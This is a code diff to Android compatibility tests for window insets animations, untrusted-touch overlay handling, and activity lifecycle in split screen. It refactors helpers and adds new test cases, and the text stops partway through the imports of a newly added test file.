+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(false);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(false);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Test
public void testControl_andLoseControl() throws Throwable {
- mInterpolator = new AccelerateInterpolator();
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ mInterpolator = new AccelerateInterpolator();
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- mInterpolator, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ mInterpolator, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(false, TimeUnit.MINUTES.toMillis(5));
+ runOnUiThread(() -> {
+ mLossOfControlExpected = true;
+ });
+ launchHomeActivityNoWait();
+
+ mListener.awaitAndAssert(CANCELLED);
+ mListener.assertWasNotCalled(FINISHED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(false, TimeUnit.MINUTES.toMillis(5));
- runOnUiThread(() -> {
- mLossOfControlExpected = true;
- });
- launchHomeActivityNoWait();
-
- mListener.awaitAndAssert(CANCELLED);
- mListener.assertWasNotCalled(FINISHED);
}
@Presubmit
@@ -377,23 +435,26 @@
return;
}
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(true);
+ runOnUiThread(() -> {
+ mActivity.getSystemService(InputMethodManager.class).restartInput(
+ mActivity.mEditor);
+ });
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(true);
- runOnUiThread(() -> {
- mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
- });
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
private void setupAnimationListener() {
@@ -514,6 +575,7 @@
WindowInsetsAnimationController mController = null;
int mTypes = -1;
+ RuntimeException mCancelledStack = null;
ControlListener(ErrorCollector errorCollector) {
mErrorCollector = errorCollector;
@@ -562,6 +624,7 @@
mErrorCollector.checkThat("isFinished", controller.isFinished(), is(false));
mErrorCollector.checkThat("isCancelled", controller.isCancelled(), is(true));
}
+ mCancelledStack = new RuntimeException("onCancelled called here");
report(CANCELLED);
}
@@ -575,7 +638,12 @@
CountDownLatch latch = mLatches[event.ordinal()];
try {
if (!latch.await(10, TimeUnit.SECONDS)) {
- fail("Timeout waiting for " + event);
+ if (event == READY && mCancelledStack != null) {
+ throw new CancelledWhileWaitingForReadyException(
+ "expected " + event + " but instead got " + CANCELLED,
+ mCancelledStack);
+ }
+ fail("Timeout waiting for " + event + "; reported events: " + reportedEvents());
}
} catch (InterruptedException e) {
throw new AssertionError("Interrupted", e);
@@ -584,12 +652,21 @@
void assertWasCalled(Event event) {
CountDownLatch latch = mLatches[event.ordinal()];
- assertEquals(event + " expected, but never called", 0, latch.getCount());
+ assertEquals(event + " expected, but never called; called: " + reportedEvents(),
+ 0, latch.getCount());
}
void assertWasNotCalled(Event event) {
CountDownLatch latch = mLatches[event.ordinal()];
- assertEquals(event + " not expected, but was called", 1, latch.getCount());
+ assertEquals(event + " not expected, but was called; called: " + reportedEvents(),
+ 1, latch.getCount());
+ }
+
+ String reportedEvents() {
+ return Arrays.stream(Event.values())
+ .filter((e) -> mLatches[e.ordinal()].getCount() == 0)
+ .map(Enum::toString)
+ .collect(Collectors.joining(",", "<", ">"));
}
}
@@ -649,6 +726,7 @@
public static final class LimitedErrorCollector extends ErrorCollector {
private static final int LIMIT = 1;
+ private static final boolean REPORT_SUPPRESSED_ERRORS = false;
private int mCount = 0;
@Override
@@ -660,10 +738,20 @@
@Override
protected void verify() throws Throwable {
- if (mCount > LIMIT) {
- super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
+ if (mCount > LIMIT && REPORT_SUPPRESSED_ERRORS) {
+ super.addError(new AssertionError((mCount - LIMIT) + " errors suppressed."));
}
super.verify();
}
}
+
+ private interface ThrowableThrowingRunnable {
+ void run() throws Throwable;
+ }
+
+ private static class CancelledWhileWaitingForReadyException extends AssertionError {
+ public CancelledWhileWaitingForReadyException(String message, Throwable cause) {
+ super(message, cause);
+ }
+ };
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index 067b390..1590c39 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -124,6 +124,7 @@
*/
@Test
public void testForcedConsumedTopInsets() throws Exception {
+ mUseTaskOrganizer = false;
assumeTrue("Skipping test: no split multi-window support",
supportsSplitScreenMultiWindow());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index 5d6c91b..160c3d4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -21,9 +21,6 @@
import static android.server.wm.UiDeviceUtils.pressUnlockButton;
import static android.server.wm.UiDeviceUtils.pressWakeupButton;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.overlay.Components.TestCompanionService.ACTION_SHOW_SYSTEM_ALERT_WINDOW;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_NAME;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_OPACITY;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -37,34 +34,29 @@
import android.app.ActivityManager;
import android.app.ActivityOptions;
import android.app.Instrumentation;
-import android.app.UiAutomation;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
-import android.content.ServiceConnection;
-import android.graphics.PixelFormat;
+import android.content.res.Resources;
import android.graphics.Rect;
import android.hardware.input.InputManager;
import android.os.Bundle;
import android.os.ConditionVariable;
import android.os.Handler;
-import android.os.IBinder;
import android.os.Looper;
-import android.os.Message;
-import android.os.Messenger;
+import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
-import android.server.wm.cts.R;
+import android.server.wm.app.IUntrustedTouchTestService;
import android.server.wm.overlay.Components;
+import android.server.wm.overlay.R;
import android.util.ArrayMap;
import android.util.ArraySet;
-import android.util.Log;
import android.view.Display;
import android.view.Gravity;
import android.view.MotionEvent;
import android.view.View;
-import android.view.Window;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Toast;
@@ -84,8 +76,6 @@
import java.util.Map;
import java.util.Set;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
@Presubmit
@@ -108,8 +98,10 @@
Float.intBitsToFloat(0b00111000100000000000000000000000);
private static final float MAXIMUM_OBSCURING_OPACITY = .8f;
- private static final long TOUCH_TIME_OUT_MS = 1000L;
- private static final long PROCESS_RESPONSE_TIME_OUT_MS = 1000L;
+ private static final long BIND_TIMEOUT_MS = 1000L;
+ private static final long MAX_ANIMATION_DURATION_MS = 3000L;
+ private static final long ANIMATION_DURATION_TOLERANCE_MS = 500L;
+
private static final int OVERLAY_COLOR = 0xFFFF0000;
private static final int ACTIVITY_COLOR = 0xFFFFFFFF;
@@ -132,9 +124,11 @@
"maximum_obscuring_opacity_for_touch";
private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
- private final Map<String, FutureConnection> mConnections = new ArrayMap<>();
+ private final Map<String, FutureConnection<IUntrustedTouchTestService>> mConnections =
+ new ArrayMap<>();
private Instrumentation mInstrumentation;
private Context mContext;
+ private Resources mResources;
private ContentResolver mContentResolver;
private TouchHelper mTouchHelper;
private Handler mMainHandler;
@@ -150,9 +144,6 @@
private final Set<String> mSawWindowsAdded = new ArraySet<>();
private final AtomicInteger mTouchesReceived = new AtomicInteger(0);
- /** Can only be accessed from the main thread */
- private final Set<View> mSawViewsAdded = new ArraySet<>();
-
@Rule
public TestName testNameRule = new TestName();
@@ -166,6 +157,7 @@
mContainer.setOnTouchListener(this::onTouchEvent);
mInstrumentation = getInstrumentation();
mContext = mInstrumentation.getContext();
+ mResources = mContext.getResources();
mContentResolver = mContext.getContentResolver();
mTouchHelper = new TouchHelper(mInstrumentation, mWmState);
mMainHandler = new Handler(Looper.getMainLooper());
@@ -186,10 +178,11 @@
public void tearDown() throws Throwable {
mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY);
mTouchesReceived.set(0);
- for (FutureConnection connection : mConnections.values()) {
+ removeOverlays();
+ for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
mContext.unbindService(connection);
}
- removeOverlays();
+ mConnections.clear();
for (String app : APPS) {
stopPackage(app);
}
@@ -578,9 +571,40 @@
/** Activity transitions */
@Test
+ public void testLongEnterAnimations_areLimited() {
+ long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+ assertThat(durationSet).isGreaterThan(
+ MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+ addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.long_alpha_0_7,
+ R.anim.long_alpha_1);
+ assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+ long start = SystemClock.elapsedRealtime();
+
+ assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+ long duration = SystemClock.elapsedRealtime() - start;
+ assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+ }
+
+ @Test
+ public void testLongExitAnimations_areLimited() {
+ long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+ assertThat(durationSet).isGreaterThan(
+ MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+ // Translucent activities don't honor custom exit animations
+ addOpaqueActivity(APP_A);
+ sendFinishToActivity(APP_A, Components.ActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7);
+ assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+ long start = SystemClock.elapsedRealtime();
+
+ assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+ long duration = SystemClock.elapsedRealtime() - start;
+ assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+ }
+
+ @Test
public void testWhenEnterAnimationAboveThresholdAndNewActivityNotTouchable_blocksTouch() {
addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_9, R.anim.alpha_1);
- mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY);
+ assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
@@ -591,7 +615,7 @@
@Test
public void testWhenEnterAnimationBelowThresholdAndNewActivityNotTouchable_allowsTouch() {
addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_7, R.anim.alpha_1);
- mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY);
+ assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
@@ -602,7 +626,7 @@
@Test
public void testWhenEnterAnimationBelowThresholdAndNewActivityTouchable_blocksTouch() {
addAnimatedActivityOverlay(APP_A, /* touchable */ true, R.anim.alpha_0_7, R.anim.alpha_1);
- mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY);
+ assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
@@ -636,6 +660,19 @@
assertTouchNotReceived();
}
+ @Test
+ public void testWhenExitAnimationAboveThresholdFromSameUid_allowsTouch() {
+ // Translucent activities don't honor custom exit animations
+ addOpaqueActivity(APP_SELF);
+ sendFinishToActivity(APP_SELF, Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_9);
+ assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+ mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+ assertAnimationRunning();
+ assertTouchReceived();
+ }
+
/** Toast windows */
@Test
@@ -750,18 +787,20 @@
// *any* toast afterwards and we don't want to be in a situation where this method returned
// because another toast was being displayed.
waitForNoToastOverlays();
- if (packageName.equals(APP_SELF)) {
- addMyToastOverlay(custom);
- } else {
- if (custom) {
+ if (custom) {
+ if (packageName.equals(APP_SELF)) {
+ // We add the custom toast here because we already have foreground status due to
+ // the activity rule, so no need to start another activity.
+ addMyCustomToastOverlay();
+ } else {
// We have to use an activity that will display the toast then finish itself because
// custom toasts cannot be posted from the background.
Intent intent = new Intent();
intent.setComponent(repackage(packageName, Components.ToastActivity.COMPONENT));
mActivity.startActivity(intent);
- } else {
- sendMessage(packageName, Components.TestCompanionService.ACTION_SHOW_TOAST);
}
+ } else {
+ getService(packageName).showToast();
}
String message = "Toast from app " + packageName + " did not appear on time";
// TODO: WindowStateProto does not have package/UID information from the window, the current
@@ -777,26 +816,20 @@
&& state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).isSurfaceShown();
}
- private void addMyToastOverlay(boolean custom) {
+ private void addMyCustomToastOverlay() {
mActivity.runOnUiThread(() -> {
- if (custom) {
- mToast = new Toast(mContext);
- View view = new View(mContext);
- view.setBackgroundColor(OVERLAY_COLOR);
- mToast.setView(view);
- mToast.setGravity(Gravity.FILL, 0, 0);
- mToast.setDuration(Toast.LENGTH_LONG);
- } else {
- String test =
- getClass().getSimpleName() + "." + testNameRule.getMethodName() + "()";
- mToast = Toast.makeText(mContext, "Toast from " + test, Toast.LENGTH_LONG);
- }
+ mToast = new Toast(mContext);
+ View view = new View(mContext);
+ view.setBackgroundColor(OVERLAY_COLOR);
+ mToast.setView(view);
+ mToast.setGravity(Gravity.FILL, 0, 0);
+ mToast.setDuration(Toast.LENGTH_LONG);
mToast.show();
});
mInstrumentation.waitForIdleSync();
}
- private void removeMyToastOverlay() {
+ private void removeMyCustomToastOverlay() {
mActivity.runOnUiThread(() -> {
if (mToast != null) {
mToast.cancel();
@@ -846,9 +879,7 @@
private void addActivityOverlay(String packageName, float opacity, boolean touchable,
@Nullable Bundle options) {
- ComponentName component = (packageName.equals(APP_SELF))
- ? new ComponentName(mContext, OverlayActivity.class)
- : repackage(packageName, Components.OverlayActivity.COMPONENT);
+ ComponentName component = repackage(packageName, Components.OverlayActivity.COMPONENT);
Bundle extras = new Bundle();
extras.putFloat(Components.OverlayActivity.EXTRA_OPACITY, opacity);
extras.putBoolean(Components.OverlayActivity.EXTRA_TOUCHABLE, touchable);
@@ -895,14 +926,7 @@
private void addSawOverlay(String packageName, String windowSuffix, float opacity)
throws Throwable {
String name = packageName + "." + windowSuffix;
- if (packageName.equals(APP_SELF)) {
- addMySawOverlay(name, opacity);
- } else {
- Bundle data = new Bundle();
- data.putString(EXTRA_NAME, name);
- data.putFloat(EXTRA_OPACITY, opacity);
- sendMessage(packageName, ACTION_SHOW_SYSTEM_ALERT_WINDOW, data);
- }
+ getService(packageName).showSystemAlertWindow(name, opacity);
mSawWindowsAdded.add(name);
String message = "Window " + name + " did not appear on time";
if (!mWmState.waitFor("window " + name,
@@ -911,35 +935,6 @@
}
}
- private void addMySawOverlay(String name, float opacity) throws Throwable {
- activityRule.runOnUiThread(() -> {
- View view = new View(mContext);
- view.setBackgroundColor(OVERLAY_COLOR);
- LayoutParams params =
- new LayoutParams(
- LayoutParams.MATCH_PARENT,
- LayoutParams.MATCH_PARENT,
- LayoutParams.TYPE_APPLICATION_OVERLAY,
- LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
- PixelFormat.TRANSLUCENT);
- params.setTitle(name);
- params.alpha = opacity;
- mWindowManager.addView(view, params);
- mSawViewsAdded.add(view);
- });
- mInstrumentation.waitForIdleSync();
- }
-
- private void removeMySawOverlays() throws Throwable {
- activityRule.runOnUiThread(() -> {
- for (View view : mSawViewsAdded) {
- mWindowManager.removeViewImmediate(view);
- }
- mSawViewsAdded.clear();
- });
- mInstrumentation.waitForIdleSync();
- }
-
private void waitForNoSawOverlays(String message) {
if (!mWmState.waitFor("no SAW windows",
state -> mSawWindowsAdded.stream().allMatch(w -> !state.isWindowVisible(w)))) {
@@ -949,14 +944,18 @@
}
private void removeOverlays() throws Throwable {
+ for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
+ connection.getCurrent().removeOverlays();
+ }
+ // We need to stop the app because not every overlay is created via the service (eg.
+ // activity overlays and custom toasts)
for (String app : APPS) {
stopPackage(app);
}
- removeMySawOverlays();
waitForNoSawOverlays("SAWs not removed on time");
removeActivityOverlays();
waitForNoActivityOverlays("Activities not removed on time");
- removeMyToastOverlay();
+ removeMyCustomToastOverlay();
waitForNoToastOverlays("Toasts not removed on time");
}
@@ -981,30 +980,23 @@
});
}
- private ComponentName repackage(String packageName, ComponentName baseComponent) {
- return new ComponentName(packageName, baseComponent.getClassName());
+ private IUntrustedTouchTestService getService(String packageName) throws Exception {
+ return mConnections.computeIfAbsent(packageName, this::connect).get(BIND_TIMEOUT_MS);
}
- private void sendMessage(String packageName, int action) throws Exception {
- sendMessage(packageName, action, /* data */ null);
- }
-
- private void sendMessage(String packageName, int action, Bundle data) throws Exception {
- Message message = Message.obtain(null, action);
- message.setData(data);
- FutureConnection connection = mConnections.computeIfAbsent(packageName, this::connect);
- Messenger messenger = new Messenger(connection.get(PROCESS_RESPONSE_TIME_OUT_MS));
- messenger.send(message);
- }
-
- private FutureConnection connect(String packageName) {
- FutureConnection connection = new FutureConnection();
+ private FutureConnection<IUntrustedTouchTestService> connect(String packageName) {
+ FutureConnection<IUntrustedTouchTestService> connection =
+ new FutureConnection<>(IUntrustedTouchTestService.Stub::asInterface);
Intent intent = new Intent();
- intent.setComponent(repackage(packageName, Components.TestCompanionService.COMPONENT));
+ intent.setComponent(repackage(packageName, Components.UntrustedTouchTestService.COMPONENT));
assertTrue(mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE));
return connection;
}
+ private static ComponentName repackage(String packageName, ComponentName baseComponent) {
+ return new ComponentName(packageName, baseComponent.getClassName());
+ }
+
public static class TestActivity extends Activity {
public View view;
@@ -1016,44 +1008,4 @@
setContentView(view);
}
}
-
- public static class OverlayActivity extends Activity {
- @Override
- protected void onCreate(@Nullable Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- View view = new View(this);
- view.setBackgroundColor(OVERLAY_COLOR);
- setContentView(view);
- Window window = getWindow();
- Intent intent = getIntent();
- window.getAttributes().alpha = intent.getFloatExtra(
- Components.OverlayActivity.EXTRA_OPACITY, 1f);
- if (!intent.getBooleanExtra(Components.OverlayActivity.EXTRA_TOUCHABLE, false)) {
- window.addFlags(LayoutParams.FLAG_NOT_TOUCHABLE);
- }
- window.addFlags(LayoutParams.FLAG_NOT_FOCUSABLE);
- }
- }
-
- private static class FutureConnection implements ServiceConnection {
- public final CompletableFuture<IBinder> future = new CompletableFuture<>();
-
- public IBinder get(long timeoutMs) throws Exception {
- return future.get(timeoutMs, TimeUnit.MILLISECONDS);
- }
-
- @Override
- public void onServiceConnected(ComponentName name, IBinder service) {
- if (future.isDone()) {
- Log.d(TAG, name.flattenToShortString() + " reconnected");
- }
- future.obtrudeValue(service);
- }
-
- @Override
- public void onServiceDisconnected(ComponentName name) {
- // The helper app died, windows will be removed and assertions will fail, so just log.
- Log.e(TAG, name.flattenToShortString() + " disconnected");
- }
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index f16da51..1e58f30 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -17,6 +17,7 @@
package android.server.wm.lifecycle;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.content.Intent.FLAG_ACTIVITY_FORWARD_RESULT;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.StateLogger.log;
@@ -34,6 +35,7 @@
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -70,6 +72,7 @@
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
import java.util.function.Consumer;
@@ -90,6 +93,7 @@
static final String EXTRA_FINISH_IN_ON_STOP = "finish_in_on_stop";
static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
+ static final String EXTRA_ACTIVITY_ON_USER_LEAVE_HINT = "activity_on_user_leave_hint";
static final ComponentName CALLBACK_TRACKING_ACTIVITY =
getComponentName(CallbackTrackingActivity.class);
@@ -248,8 +252,10 @@
* time.
* @return The launched Activity instance.
*/
- Activity launchActivityAndWait(Class<? extends Activity> activityClass) throws Exception {
- return new Launcher(activityClass).launch();
+ @SuppressWarnings("unchecked")
+ <T extends Activity> T launchActivityAndWait(Class<? extends Activity> activityClass)
+ throws Exception {
+ return (T) new Launcher(activityClass).launch();
}
/**
@@ -413,6 +419,15 @@
super.onRestart();
mLifecycleLogClient.onActivityCallback(ON_RESTART);
}
+
+ @Override
+ protected void onUserLeaveHint() {
+ super.onUserLeaveHint();
+
+ if (getIntent().getBooleanExtra(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, false)) {
+ mLifecycleLogClient.onActivityCallback(ON_USER_LEAVE_HINT);
+ }
+ }
}
// Test activity
@@ -488,6 +503,29 @@
}
/**
+ * Test activity that launches {@link TrampolineActivity} for result.
+ */
+ public static class LaunchForwardResultActivity extends CallbackTrackingActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = new Intent(this, TrampolineActivity.class);
+ startActivityForResult(intent, 1 /* requestCode */);
+ }
+ }
+
+ public static class TrampolineActivity extends CallbackTrackingActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = new Intent(this, ResultActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_FORWARD_RESULT);
+ startActivity(intent);
+ finish();
+ }
+ }
+
+ /**
* Test activity that launches {@link ResultActivity} for result.
*/
public static class LaunchForResultActivity extends CallbackTrackingActivity {
@@ -610,9 +648,13 @@
// Enter picture in picture with the given aspect ratio if provided
if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
- enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ enterPip();
}
}
+
+ void enterPip() {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
}
public static class AlwaysFocusablePipActivity extends CallbackTrackingActivity {
@@ -701,11 +743,30 @@
void moveTaskToPrimarySplitScreenAndVerify(Activity activity) {
getLifecycleLog().clear();
- moveTaskToPrimarySplitScreen(activity.getTaskId());
+ moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
final Class<? extends Activity> activityClass = activity.getClass();
- waitAndAssertActivityTransitions(activityClass,
- LifecycleVerifier.getSplitScreenTransitionSequence(activityClass),
+
+ final List<LifecycleLog.ActivityCallback> expectedTransitions =
+ new ArrayList<LifecycleLog.ActivityCallback>(
+ LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+ final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
+ LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
+
+ final int displayWindowingMode =
+ getDisplayWindowingModeByActivity(getComponentName(activityClass));
+ if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+ // For non-fullscreen display mode, there won't be a multi-window callback.
+ expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+ expectedTransitionForMinimizedDock.removeAll(
+ Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+ }
+
+ mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+ LifecycleVerifier.assertSequenceMatchesOneOf(
+ activityClass,
+ getLifecycleLog(),
+ Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
"enterSplitScreen");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 9fbd1da..0062dac 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -98,10 +98,6 @@
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
- // Leaving the minimized dock, the stack state on the primary split screen should change
- // from Paused to Resumed.
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
// Show and hide lock screen
getLifecycleLog().clear();
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
new file mode 100644
index 0000000..f0bd3f8
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -0,0 +1,364 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.lifecycle;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.MediumTest;
+
